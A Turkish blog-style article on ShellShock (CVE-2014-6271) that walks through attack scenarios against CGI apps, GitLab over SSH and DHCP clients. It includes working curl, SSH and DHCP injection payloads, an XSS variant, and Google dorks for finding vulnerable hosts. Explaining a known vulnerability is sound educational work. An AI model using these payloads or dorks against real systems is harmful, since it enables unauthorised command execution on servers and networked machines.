ShellShock ( CVE-2014-6271 ) Güvenlik Açığının Saldırı Senaryoları

ShellShock zafiyeti son yılların en önemli güvenlik açıklarından bir tanesi durumundadır. Yazının sonunda ifade edeceğim üzere,  geçtiğimiz aylarda gene çok konuştuguğumuz Heartbleed zafiyetinin oluşturduğu tehditten daha fazla potansiyeli mevcuttur.

Bu zafiyet ilk bakışta sadece sunucu sistemlerine zarar vericebileceği düşünülsede, hemen hemen tüm Unix türevi işletim sistemlerini kullanan kullanıcılara etki etmektedir.

CGI Uygulama Hizmeti Veren Sistemler

CGI uygulamalarına en aşına olduğumuz noktalar; modem, kamera vb gibi gömülü sistemlerdir. Bu sistemlerin uzun bir süre, belkide hiçbir zaman güncellenemeyeceğini unutmamak gerekir.

Hedef CGI uygulamasına tek bir HTTP talebi gönderilerek zafiyet sömürülebilir. Herhangi bir oturum bilgisi veya yetkiye ihtiyaç yoktur.

curl -H 'User-Agent: () { :;}; echo; /usr/bin/id' http://www.hedefsite.com/main.cgi

Saldırı talebinde ilgili payload’ı User-Agent üzerinden göndermeyi tercih edebilirsiniz. Bu noktada geçerli bir HTTP başlık bilgisi girmeniz zorunlu değildir.

CGI uygulamaları sunucu hizmetleri üzerinde de bulunmaktadır. Aşağıdaki basit bir google keyword’ü ile cgi uygulaması bulunan tüm domainleri tespit edebilirsiniz.

# VEYA

inurl:"/cgi-bin" ext:cgi

# VEYA

site:com ext:cgi

# ... örnekler çoğaltılabilir.

 CGI Uygulamaları

Zafiyetin yapısında çalıştırılan komutun çıktısı, kullanıcıya gönderilen HTML içerikte bulunmaktadır. Bu vergi herhangi bir analize tabi tutulması mümkün olmadığı için output encoding gibi yaklaşımlarda bulunmak imkansızdır. Bu sayede ShellShock zafiyeti ile CGI  uygulamalarına karşı XSS saldırısı düzenlemek mümkündür.

curl -H 'User-Agent: () {<svg onload="alert(1)"> {')' "(</svg>" {& }; echo -e "header\x3abashbug_irsdl" http://www.hedefsite.com/main.cgi

SSH Uygulamaları

Bu zafiyet SSH üzerinden de tetiklenebilmektedir. Ama tek ve yeter şart SSH oturumunu başarı ile tamamlamaktır. Aklına “Ben SSH yapabildikten sonra neyleyim ShellShock zafiyetini ? Gider komutu kendim çalıştırırım.” fikri gelebilir. Bu okurlara ise tek bir keyword veriyorum; gitlab

Git sunucuları barındırdığı veri açısında kritik noktadadır. Private Repository ‘lerinizde bulunan tüm kaynak kodlarınız, yazılımlarınız saldırganların eline geçebilir. Hemen hemen bir çok gitlab sunucusu halka açık şekilde bulunur ve geliştiriciler üye olarak kendi hesaplarını oluşturabilmektedir.

Gitlab sunucularına karşı yapılabilecek bir saldırıyı adım adım anlatmak gerekirse.

  1. Hedef  gitlab sistemine üye olunur.
  2. Hesap ayarlarından git sunucusuna SSH public key eklenir.
  3. Hedef sisteme aşağıdaki komut ile ulaşılarak komut çalıştırılır ve saldırı tamamlanır.
ssh  git@gitlab.example.com '() { ignored; }; /usr/bin/id'

Halka açık gitlab sistemlerini bulmak ise oldukça basit bir Google keyword’u ile gerçekleştirilebilir.

# Örnek

Gitlab inurl:/users/sign_in

Gitlab’ın konu ile ilgili resmi yazısı : https://about.gitlab.com/2014/09/24/gitlab-shell-and-bash-cve-2014-6271/

DHCP ve Unix Kullanıcıları

Bulunduğunuz ağ üzerinden DHCP servisi başlatarak, ağda bulunan tüm kullanıcıların komut satırına erişebilmek mümkündür. DHCP servisini başlatırken 114 değerine aşağıdaki payload yazılırsa, DHCP servisiniz ile konuşan tüm kullanıcılarda bu komut çalışmış olacaktır.

() { ignored;}; echo 'foo'

ShellShock DHCP

Talebi alan Client

ShellShock DHCP Client

Görsel Kaynak : https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

Beyaz Şapkalı Hackerlar

ShellShock zafiyeti çıktığında tüm devlet kurumlarının sunucu sistemleri siber saldırıya karşı korunmasız durumdaydı. Bu durumu düzeltmek isteyen bir hacker grubunun aşağıda ki payload ile kendi ülkelerinde sistemlere “saldırı” düzenlediği gerçeği…

curl -H 'User-Agent: () { :;}; apt-get update && apt-get install --only-upgrade bash' http://www.hedefsite.com

 Kendinizi Test Edin

Verilen URL adresini test eden ve güvenlik açığı varsa size söyleyen online hizmeti kullanabilirsiniz.

http://shellshock.info/